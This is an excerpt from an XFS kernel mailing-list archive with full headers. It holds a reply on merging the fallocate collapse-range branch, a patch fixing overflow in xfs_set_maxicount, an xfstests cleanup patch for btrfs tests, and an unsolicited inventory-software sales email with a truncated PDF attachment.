(CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 82721304048 for ; Mon, 24 Feb 2014 20:14:04 -0800 (PST) X-ASG-Debug-ID: 1393301641-04cb6c56780c210001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 4dvpvvFKvxVyeMJz for ; Mon, 24 Feb 2014 20:14:02 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ak8KAJUXDFN5LJYe/2dsb2JhbABZgwY7qUMDkweFVYEYF3SCJQEBBTocIxAIAw4KCSUPBSUDIROIBMZ6FxaOTgeDJIEUBJgzilKHVoFvgVIo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 25 Feb 2014 14:44:00 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WI9Os-0008Cw-SD; Tue, 25 Feb 2014 15:13:46 +1100 Date: Tue, 25 Feb 2014 15:13:46 +1100 From: Dave Chinner To: Stephen Rothwell Cc: Namjae Jeon , viro@zeniv.linux.org.uk, bpm@sgi.com, tytso@mit.edu, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, Namjae Jeon Subject: Re: [PATCH v5 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Message-ID: <20140225041346.GA29907@dastard> X-ASG-Orig-Subj: Re: [PATCH v5 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate References: <1392741436-19995-1-git-send-email-linkinjeon@gmail.com> <20140224005710.GH4317@dastard> <20140225141601.358f6e3df2660d4af44da876@canb.auug.org.au> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140225141601.358f6e3df2660d4af44da876@canb.auug.org.au> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393301641 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145482 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 25, 2014 at 02:16:01PM +1100, Stephen Rothwell wrote: > Hi Dave, > > On Mon, 24 Feb 2014 11:57:10 +1100 Dave Chinner wrote: > > > > > Namjae Jeon (10): > > > fs: Add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate > > > xfs: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate > > > > I've pushed these to the following branch: > > > > git://oss.sgi.com/xfs/xfs.git xfs-collapse-range > > > > And so they'll be in tomorrow's linux-next tree. > > > > > ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate > > > > I've left this one alone for the ext4 guys to sort out. > > So presumably that xfs tree branch is now completely stable and so Ted > could just merge that branch into the ext4 tree as well and put the ext4 > part on top of that in his tree. Well, for some definition of stable. Right now it's just a topic branch that is merged into the for-next branch, so in theory it is still just a set of pending changes in a branch in a repo that has been pushed to linux-next for testing. That said, I don't see that branch changing unless we find bugs in the code or a problem with the API needs fixing, at which point I would add more commits to it and rebase the for-next branch that you are pulling into the linux-next tree. Realistically, I'm waiting for Lukas to repost his other pending fallocate changes (the zero range changes) so I can pull the VFS and XFS bits of that into the XFS tree and I can test them together before I'll call the xfs-collapse-range stable and ready to be merged into some other tree... Cheers, Dave. -- Dave Chinner david@fromorbit.com From sandeen@redhat.com Mon Feb 24 23:27:41 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 65AB97F50 for ; Mon, 24 Feb 2014 23:27:41 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 5BCB78F806F for ; Mon, 24 Feb 2014 21:27:41 -0800 (PST) X-ASG-Debug-ID: 1393306057-04cbb066e70fd60001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 3ehHn1wDJsxD6CdV for ; Mon, 24 Feb 2014 21:27:37 -0800 (PST) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1P5RauD021493 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 25 Feb 2014 00:27:37 -0500 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id s1P5RZmn011020 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO) for ; Tue, 25 Feb 2014 00:27:36 -0500 Message-ID: <530C29C7.90001@redhat.com> Date: Mon, 24 Feb 2014 23:27:35 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH] xfs: clean up xfs_set_maxicount & use in growfs X-Enigmail-Version: 1.6 X-ASG-Orig-Subj: [PATCH] xfs: clean up xfs_set_maxicount & use in growfs Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393306057 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 xfs_set_maxicount() overflowed fairly easily for large filesystems and large maxicount; we started out by multiplying dblocks by the percentage, *then* dividing by 100, and never checked for an overflow. The calculations were also, IMHO, a little hard to follow. I rewrote it using mult_frac (so handy!) and rounddown, to do a nice no-overflow, no-precision-loss multiplication by (%/100), then round down to the inode allocation unit. Then check to see if we've overflowed the u64, and set to XFS_MAXINUMBER if so. Also, growfs open-coded the setting of maxicount; call the handy helper instead. This slightly changes growfs behavior, because we weren't rounding to the allocation multiple in that code. I checked that we get the same answers for non-growfs cases by running 100 mkfs.xfs's with imaxpct from 1 to 100, and it gives the same inode count in all cases. Thanks to dchinner for pointing out that this could use fixing. Signed-off-by: Eric Sandeen --- Ok Brian, have at it. ;) diff --git a/fs/xfs/xfs_fsops.c b/fs/xfs/xfs_fsops.c index 02fb943..867e476 100644 --- a/fs/xfs/xfs_fsops.c +++ b/fs/xfs/xfs_fsops.c @@ -471,12 +471,7 @@ xfs_growfs_data_private( /* New allocation groups fully initialized, so update mount struct */ if (nagimax) mp->m_maxagi = nagimax; - if (mp->m_sb.sb_imax_pct) { - __uint64_t icount = mp->m_sb.sb_dblocks * mp->m_sb.sb_imax_pct; - do_div(icount, 100); - mp->m_maxicount = icount << mp->m_sb.sb_inopblog; - } else - mp->m_maxicount = 0; + xfs_set_maxicount(mp); xfs_set_low_space_thresholds(mp); /* update secondary superblocks. */ diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c index 02df7b4..0ec2b19 100644 --- a/fs/xfs/xfs_mount.c +++ b/fs/xfs/xfs_mount.c @@ -419,24 +419,24 @@ xfs_update_alignment(xfs_mount_t *mp) } /* - * Set the maximum inode count for this filesystem + * Set the maximum inode count for this filesystem based on sb_imax_pct */ -STATIC void +void xfs_set_maxicount(xfs_mount_t *mp) { xfs_sb_t *sbp = &(mp->m_sb); - __uint64_t icount; + __uint64_t iblocks; if (sbp->sb_imax_pct) { /* * Make sure the maximum inode count is a multiple * of the units we allocate inodes in. */ - icount = sbp->sb_dblocks * sbp->sb_imax_pct; - do_div(icount, 100); - do_div(icount, mp->m_ialloc_blks); - mp->m_maxicount = (icount * mp->m_ialloc_blks) << - sbp->sb_inopblog; + iblocks = mult_frac(sbp->sb_dblocks, sbp->sb_imax_pct, 100); + iblocks = rounddown(iblocks, mp->m_ialloc_blks); + mp->m_maxicount = iblocks << sbp->sb_inopblog; + if (mp->m_maxicount < iblocks) + mp->m_maxicount = XFS_MAXINUMBER; } else { mp->m_maxicount = 0; } diff --git a/fs/xfs/xfs_mount.h b/fs/xfs/xfs_mount.h index a466c5e..6288a56 100644 --- a/fs/xfs/xfs_mount.h +++ b/fs/xfs/xfs_mount.h @@ -388,6 +388,7 @@ extern int xfs_mod_incore_sb_batch(xfs_mount_t *, xfs_mod_sb_t *, extern int xfs_mount_log_sb(xfs_mount_t *, __int64_t); extern struct xfs_buf *xfs_getsb(xfs_mount_t *, int); extern int xfs_readsb(xfs_mount_t *, int); +void xfs_set_maxicount(xfs_mount_t *mp); extern void xfs_freesb(xfs_mount_t *); extern int xfs_fs_writable(xfs_mount_t *); extern int xfs_sb_validate_fsb_count(struct xfs_sb *, __uint64_t); From zhenzhang.zhang@huawei.com Mon Feb 24 23:48:22 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C8F467F50 for ; Mon, 24 Feb 2014 23:48:22 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id A4090304053 for ; Mon, 24 Feb 2014 21:48:22 -0800 (PST) X-ASG-Debug-ID: 1393307295-04bdf05da90fe60001-NocioJ Received: from szxga03-in.huawei.com (szxga03-in.huawei.com [119.145.14.66]) by cuda.sgi.com with ESMTP id YABerI0jxSeP7t32 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 24 Feb 2014 21:48:16 -0800 (PST) X-Barracuda-Envelope-From: zhenzhang.zhang@huawei.com X-Barracuda-Apparent-Source-IP: 119.145.14.66 Received: from 172.24.2.119 (EHLO szxeml212-edg.china.huawei.com) ([172.24.2.119]) by szxrg03-dlp.huawei.com (MOS 4.4.3-GA FastPath queued) with ESMTP id ALB19275; Tue, 25 Feb 2014 13:48:14 +0800 (CST) Received: from SZXEML461-HUB.china.huawei.com (10.82.67.204) by szxeml212-edg.china.huawei.com (172.24.2.181) with Microsoft SMTP Server (TLS) id 14.3.158.1; Tue, 25 Feb 2014 13:48:13 +0800 Received: from [127.0.0.1] (10.111.69.77) by szxeml461-hub.china.huawei.com (10.82.67.204) with Microsoft SMTP Server id 14.3.158.1; Tue, 25 Feb 2014 13:48:05 +0800 Message-ID: <530C2E91.9050707@huawei.com> Date: Tue, 25 Feb 2014 13:48:01 +0800 From: ZhangZhen User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:16.0) Gecko/20121010 Thunderbird/16.0.1 MIME-Version: 1.0 To: CC: , , Wang Shilong Subject: [PATCH] xfstests: cleanup tests btrfs/004,007,022 and 025 References: <1393335609-21114-1-git-send-email-zhenzhang.zhang@huawei.com> X-ASG-Orig-Subj: [PATCH] xfstests: cleanup tests btrfs/004,007,022 and 025 In-Reply-To: <1393335609-21114-1-git-send-email-zhenzhang.zhang@huawei.com> X-Forwarded-Message-Id: <1393335609-21114-1-git-send-email-zhenzhang.zhang@huawei.com> Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: 7bit X-Originating-IP: [10.111.69.77] X-CFilter-Loop: Reflected X-Barracuda-Connect: szxga03-in.huawei.com[119.145.14.66] X-Barracuda-Start-Time: 1393307296 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145484 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header As recently suggested by Dave Chinner, make use of the new function named _run_btrfs_util_prog() to run the btrfs util program. Filipe David Borba Manana have cleaned up btrfs/030 and btrfs/034. I have done the same for the rest ones. Signed-off-by: Zhang Zhen --- tests/btrfs/004 | 2 +- tests/btrfs/007 | 6 +++--- tests/btrfs/022 | 24 ++++++++++++------------ tests/btrfs/025 | 20 ++++++++++---------- 4 files changed, 26 insertions(+), 26 deletions(-) diff --git a/tests/btrfs/004 b/tests/btrfs/004 index 14da9f1..135f804 100755 --- a/tests/btrfs/004 +++ b/tests/btrfs/004 @@ -182,7 +182,7 @@ workout() run_check $FSSTRESS_PROG -d $SCRATCH_MNT -w -p $procs -n 2000 \ $FSSTRESS_AVOID - run_check $BTRFS_UTIL_PROG subvolume snapshot $SCRATCH_MNT \ + _run_btrfs_util_prog subvolume snapshot $SCRATCH_MNT \ $SCRATCH_MNT/$snap_name run_check umount $SCRATCH_DEV >/dev/null 2>&1 diff --git a/tests/btrfs/007 b/tests/btrfs/007 index 5df9ccb..f022130 100755 --- a/tests/btrfs/007 +++ b/tests/btrfs/007 @@ -74,7 +74,7 @@ workout() run_check $FSSTRESS_PROG -d $SCRATCH_MNT -n $ops $FSSTRESS_AVOID -x \ "$BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT $SCRATCH_MNT/base" - run_check $BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT $SCRATCH_MNT/incr + _run_btrfs_util_prog subvolume snapshot -r $SCRATCH_MNT $SCRATCH_MNT/incr echo "# $BTRFS_UTIL_PROG send $SCRATCH_MNT/base > $tmp/base.snap" \ >> $seqres.full @@ -97,10 +97,10 @@ workout() || _fail "size=$fsz mkfs failed" run_check _scratch_mount "-o noatime" - run_check $BTRFS_UTIL_PROG receive $SCRATCH_MNT < $tmp/base.snap + _run_btrfs_util_prog receive $SCRATCH_MNT < $tmp/base.snap run_check $FSSUM_PROG -r $tmp/base.fssum $SCRATCH_MNT/base - run_check $BTRFS_UTIL_PROG receive $SCRATCH_MNT < $tmp/incr.snap + _run_btrfs_util_prog receive $SCRATCH_MNT < $tmp/incr.snap run_check $FSSUM_PROG -r $tmp/incr.fssum $SCRATCH_MNT/incr } diff --git a/tests/btrfs/022 b/tests/btrfs/022 index ab256a3..16e1ead 100755 --- a/tests/btrfs/022 +++ b/tests/btrfs/022 @@ -49,15 +49,15 @@ rm -f $seqres.full # Test to make sure we can actually turn it on and it makes sense _basic_test() { - run_check $BTRFS_UTIL_PROG subvolume create $SCRATCH_MNT/a - run_check $BTRFS_UTIL_PROG quota enable $SCRATCH_MNT/a + _run_btrfs_util_prog subvolume create $SCRATCH_MNT/a + _run_btrfs_util_prog quota enable $SCRATCH_MNT/a subvolid=$(_btrfs_get_subvolid $SCRATCH_MNT a) $BTRFS_UTIL_PROG qgroup show $SCRATCH_MNT | grep $subvolid >> \ $seqres.full 2>&1 [ $? -eq 0 ] || _fail "couldn't find our subvols quota group" run_check $FSSTRESS_PROG -d $SCRATCH_MNT/a -w -p 1 -n 2000 \ $FSSTRESS_AVOID - run_check $BTRFS_UTIL_PROG subvolume snapshot $SCRATCH_MNT/a \ + _run_btrfs_util_prog subvolume snapshot $SCRATCH_MNT/a \ $SCRATCH_MNT/b # the shared values of both the original subvol and snapshot should @@ -75,8 +75,8 @@ _basic_test() _rescan_test() { # first with a blank subvol - run_check $BTRFS_UTIL_PROG subvolume create $SCRATCH_MNT/a - run_check $BTRFS_UTIL_PROG quota enable $SCRATCH_MNT/a + _run_btrfs_util_prog subvolume create $SCRATCH_MNT/a + _run_btrfs_util_prog quota enable $SCRATCH_MNT/a subvolid=$(_btrfs_get_subvolid $SCRATCH_MNT a) run_check $FSSTRESS_PROG -d $SCRATCH_MNT/a -w -p 1 -n 2000 \ $FSSTRESS_AVOID @@ -85,7 +85,7 @@ _rescan_test() echo $output >> $seqres.full refer=$(echo $output | awk '{ print $2 }') excl=$(echo $output | awk '{ print $3 }') - run_check $BTRFS_UTIL_PROG quota rescan -w $SCRATCH_MNT + _run_btrfs_util_prog quota rescan -w $SCRATCH_MNT output=$($BTRFS_UTIL_PROG qgroup show $SCRATCH_MNT | grep $subvolid) echo $output >> $seqres.full [ $refer -eq $(echo $output | awk '{ print $2 }') ] || \ @@ -97,10 +97,10 @@ _rescan_test() #basic exceed limit testing _limit_test_exceed() { - run_check $BTRFS_UTIL_PROG subvolume create $SCRATCH_MNT/a - run_check $BTRFS_UTIL_PROG quota enable $SCRATCH_MNT + _run_btrfs_util_prog subvolume create $SCRATCH_MNT/a + _run_btrfs_util_prog quota enable $SCRATCH_MNT subvolid=$(_btrfs_get_subvolid $SCRATCH_MNT a) - run_check $BTRFS_UTIL_PROG qgroup limit 5M 0/$subvolid $SCRATCH_MNT + _run_btrfs_util_prog qgroup limit 5M 0/$subvolid $SCRATCH_MNT dd if=/dev/urandom of=$SCRATCH_MNT/a/file bs=10M count=1 >> \ $seqres.full 2>&1 [ $? -ne 0 ] || _fail "quota should have limited us" @@ -109,10 +109,10 @@ _limit_test_exceed() #basic noexceed limit testing _limit_test_noexceed() { - run_check $BTRFS_UTIL_PROG subvolume create $SCRATCH_MNT/a - run_check $BTRFS_UTIL_PROG quota enable $SCRATCH_MNT + _run_btrfs_util_prog subvolume create $SCRATCH_MNT/a + _run_btrfs_util_prog quota enable $SCRATCH_MNT subvolid=$(_btrfs_get_subvolid $SCRATCH_MNT a) - run_check $BTRFS_UTIL_PROG qgroup limit 5M 0/$subvolid $SCRATCH_MNT + _run_btrfs_util_prog qgroup limit 5M 0/$subvolid $SCRATCH_MNT dd if=/dev/urandom of=$SCRATCH_MNT/a/file bs=4M count=1 >> \ $seqres.full 2>&1 [ $? -eq 0 ] || _fail "should have been allowed to write" diff --git a/tests/btrfs/025 b/tests/btrfs/025 index 01b1f86..76ec2dd 100755 --- a/tests/btrfs/025 +++ b/tests/btrfs/025 @@ -55,25 +55,25 @@ _scratch_mkfs >/dev/null 2>&1 _scratch_mount run_check $XFS_IO_PROG -f -c "truncate 819200" $SCRATCH_MNT/foo -run_check $BTRFS_UTIL_PROG filesystem sync $SCRATCH_MNT +_run_btrfs_util_prog filesystem sync $SCRATCH_MNT run_check $XFS_IO_PROG -c "falloc -k 819200 667648" $SCRATCH_MNT/foo -run_check $BTRFS_UTIL_PROG filesystem sync $SCRATCH_MNT +_run_btrfs_util_prog filesystem sync $SCRATCH_MNT run_check $XFS_IO_PROG -c "pwrite 1482752 2978" $SCRATCH_MNT/foo -run_check $BTRFS_UTIL_PROG filesystem sync $SCRATCH_MNT +_run_btrfs_util_prog filesystem sync $SCRATCH_MNT -run_check $BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT \ +_run_btrfs_util_prog subvolume snapshot -r $SCRATCH_MNT \ $SCRATCH_MNT/mysnap1 run_check $XFS_IO_PROG -c "truncate 883305" $SCRATCH_MNT/foo -run_check $BTRFS_UTIL_PROG filesystem sync $SCRATCH_MNT +_run_btrfs_util_prog filesystem sync $SCRATCH_MNT -run_check $BTRFS_UTIL_PROG subvolume snapshot -r $SCRATCH_MNT \ +_run_btrfs_util_prog subvolume snapshot -r $SCRATCH_MNT \ $SCRATCH_MNT/mysnap2 -run_check $BTRFS_UTIL_PROG send $SCRATCH_MNT/mysnap1 -f $tmp/1.snap -run_check $BTRFS_UTIL_PROG send -p $SCRATCH_MNT/mysnap1 $SCRATCH_MNT/mysnap2 \ +_run_btrfs_util_prog send $SCRATCH_MNT/mysnap1 -f $tmp/1.snap +_run_btrfs_util_prog send -p $SCRATCH_MNT/mysnap1 $SCRATCH_MNT/mysnap2 \ -f $tmp/2.snap 2>&1 md5sum $SCRATCH_MNT/foo | _filter_scratch @@ -85,10 +85,10 @@ _check_btrfs_filesystem $SCRATCH_DEV _scratch_mkfs >/dev/null 2>&1 _scratch_mount -run_check $BTRFS_UTIL_PROG receive $SCRATCH_MNT -f $tmp/1.snap +_run_btrfs_util_prog receive $SCRATCH_MNT -f $tmp/1.snap md5sum $SCRATCH_MNT/mysnap1/foo | _filter_scratch -run_check $BTRFS_UTIL_PROG receive $SCRATCH_MNT -f $tmp/2.snap +_run_btrfs_util_prog receive $SCRATCH_MNT -f $tmp/2.snap md5sum $SCRATCH_MNT/mysnap2/foo | _filter_scratch _scratch_unmount -- 1.8.1.4 . From josemari@olivedrabgs.com Tue Feb 25 00:38:17 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,RCVD_NUMERIC_HELO autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D0CEE7F50 for ; Tue, 25 Feb 2014 00:38:16 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id D4F7BAC003 for ; Mon, 24 Feb 2014 22:38:12 -0800 (PST) X-ASG-Debug-ID: 1393310287-04cb6c5675114d0001-NocioJ Received: from smtp303.phy.lolipop.jp (smtp303.phy.lolipop.jp [210.157.22.87]) by cuda.sgi.com with ESMTP id Je5gyGmK9egx82jG for ; Mon, 24 Feb 2014 22:38:07 -0800 (PST) X-Barracuda-Envelope-From: josemari@olivedrabgs.com X-Barracuda-Apparent-Source-IP: 210.157.22.87 Received: from smtp303.phy.lolipop.lan (HELO smtp303.phy.lolipop.jp) (172.17.1.87) (smtp-auth username josemari@olivedrabgs.com, mechanism plain) by smtp303.phy.lolipop.jp (qpsmtpd/0.82) with ESMTPA; Tue, 25 Feb 2014 15:38:06 +0900 Received: from 49.144.105.56 (49.144.105.56) by smtp303.phy.lolipop.jp (LOLIPOP-Fsecure); Tue, 25 Feb 2014 15:37:38 +0900 (JST) X-Virus-Status: clean(LOLIPOP-Fsecure) Message-ID: <530C3A2E.7060204@olivedrabgs.com> Date: Tue, 25 Feb 2014 14:37:34 +0800 From: "Jose Mari Principio (ODGS Inc.)" User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: undisclosed-recipients:; Subject: ODGS, Inc. | Inventory Management System Content-Type: multipart/mixed; boundary="------------070408060305040309030007" X-ASG-Orig-Subj: ODGS, Inc. | Inventory Management System X-Barracuda-Connect: smtp303.phy.lolipop.jp[210.157.22.87] X-Barracuda-Start-Time: 1393310287 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.25 X-Barracuda-Spam-Status: No, SCORE=1.25 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, RCVD_NUMERIC_HELO, RCVD_NUMERIC_HELO_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145485 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO 0.00 HTML_MESSAGE BODY: HTML included in message 1.25 RCVD_NUMERIC_HELO_2 Received: contains an IP address used for HELO This is a multi-part message in MIME format. --------------070408060305040309030007 Content-Type: multipart/alternative; boundary="------------060107070708060404060901" --------------060107070708060404060901 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Dear Customer, An Inventory System is one of any company's /*essential*/ system. It supports to manage the update of inventory information for all items, monitoring item depletion, and monitoring purchased items /*for the organization or their clients*/. The Inventory System serves the needs of end users like shoppers, business people, government, schools, hospitals, manufacturing and other businesses in most industries. /*Challenges :*/ 1. /*Inaccurate*/ number of material's availability / consumption. 2. /*Late*/ notification of low stocks due to manual checking. 3. /*Delayed*/ process of Purchase Request, Purchase Orders, etc. 4. /*Slow*/ report generation of stocks/inventory due to manual system. 5. /*Loss*/ of inventory items. etc. /*If you are experiencing these challenges, we would be glad to visit your office and discuss our solution.*/ Please see the attached file for further details. Looking forward to hearing from you soon! -- Best Regards, ----+----1----+----2----+----3----+----4----+----5----+----6----+----7-- Jose Mari Principio / Omac Account Manager Olive Drab Global Services, Inc. (http://www.olivedrabgs.com) Suite 22, Zeta Building, 191 Salcedo Street, Legaspi Village, Makati City 1229, Philippines Cellphone : +63-935-850-5719 Landline : +63-2-553-7405 (Reception) --------------060107070708060404060901 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit Dear Customer,

An Inventory System is one of any company's essential system.  It supports to manage the update of inventory information for all items, monitoring item depletion, and monitoring purchased items for the organization or their clients.  The Inventory System serves the needs of end users like shoppers, business people, government, schools, hospitals, manufacturing and other businesses in most industries.

Challenges :

1.  Inaccurate number of material's availability / consumption.
2.  Late notification of low stocks due to manual checking.
3.  Delayed process of Purchase Request, Purchase Orders, etc.
4.  Slow report generation of stocks/inventory due to manual system.
5.  Loss of inventory items.
etc.

If you are experiencing these challenges, we would be glad to visit your office and discuss our solution.

Please see the attached file for further details.

Looking forward to hearing from you soon!
-- 
Best Regards,
----+----1----+----2----+----3----+----4----+----5----+----6----+----7--
Jose Mari Principio / Omac
Account Manager
Olive Drab Global Services, Inc. (http://www.olivedrabgs.com)
Suite 22, Zeta Building, 191 Salcedo Street, Legaspi Village,
Makati City 1229, Philippines
Cellphone : +63-935-850-5719
Landline  : +63-2-553-7405 (Reception)
           
--------------060107070708060404060901-- --------------070408060305040309030007 Content-Type: application/pdf; name="ODGS Inventory System Brochure 20131202_1.pdf" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="ODGS Inventory System Brochure 20131202_1.pdf" JVBERi0xLjQKJQozIDAgb2JqCjw8Ci9Qcm9kdWNlciAoUERGLVhDaGFuZ2UgMy42MC4wMTA4 IFwoV2luZG93c1wpKQovQ3JlYXRpb25EYXRlIChEOjIwMTMxMjI2MTcyMTMzKzA4JzAwJykK Pj4KZW5kb2JqCjUgMCBvYmoKPDwKL1R5cGUgL1hPYmplY3QKL1N1YnR5cGUgL0ltYWdlCi9X aWR0aCA5NjAKL0hlaWdodCAyNTAKL0JpdHNQZXJDb21wb25lbnQgOAovQ29sb3JTcGFjZSAv RGV2aWNlUkdCCi9MZW5ndGggMzI0MjUKL0ZpbHRlciBbL0ZsYXRlRGVjb2RlIC9EQ1REZWNv ZGVdCj4+CnN0cmVhbQp42u39BVRkQbMmihaNNtpo4+7WuEPh2rhr07g07tBQeOMOjbu7uzXu 7u7ursWj/3/OnfPPmTl35r15b9237t2sZEHurMyIyMiIL/bOjHpbeNsAfJIWlxIHQEAAABDv P4C3ZYAIAA4GBhYGGg4WFvbjRzh4RAwkRAQERBw0dBQMAlwiQgJcfHxickYqYlJ6Mnx8ak4a eiZmNjY2Iipufi4WPkZWNpa/nUB8/PgREQERGwkJm4UEn4Tlf/l66wSgwgGeIDshIUgBH1Ah IFEh3noARO90QkP84wL8lwviAyQUNAws3Ed4hPcGdZ8AHyAgIT9AQUJDQ0G93/V8vw+AQoVG I2EWgkFX/A5LaofB4hOdBUcmXPUHU2nygpzVwN73IzzWZ2wcXApKKmoaWjZ2Dk4ubh4RUTFx CUkpaWUVVTV1DU0tQyNjE1MzcwsHRydnF1c3dz//gMBfQcEhMbFx8Qm/E5OSs3Ny8/ILCouK q2tq6+obGpuau7p7evv6BwaHpqZnZufmFxaXNre2d3b39g8Ojy6vrm9u7+4fHp/+8gUBgIT4 t+u/yxfqO18foKAgoWD/8gXxweVvA1QoaBJmGDQhRdjvduikLD5wGMLRWVV/PpKxKl1gGthP wmORs21SXP5l7R+c/c8x5vv/Fmf/B2P/la8lACIkxPvkQaICgIA6q2IdTb3VvvI+Mr5f1u4E /dHqb4D6PfDjyzH8t4c3QPMboPz8DZCFG9P68eVrb8q3ZQfQT7AjyGr09fpxjgGTA9Ly2drm PGMs8rSpox3E05sdClH32sB5P74vcbeyvg5MM5gU814CL6c871/n/LNplVl2p9U/e5j8Z1ON WkV9jo5/DHvwz6alWtSVeP/NYBgaSBX/HAX4TwqxQuhh5v85CtE/mjqFimH9PwT9356gw7Jy 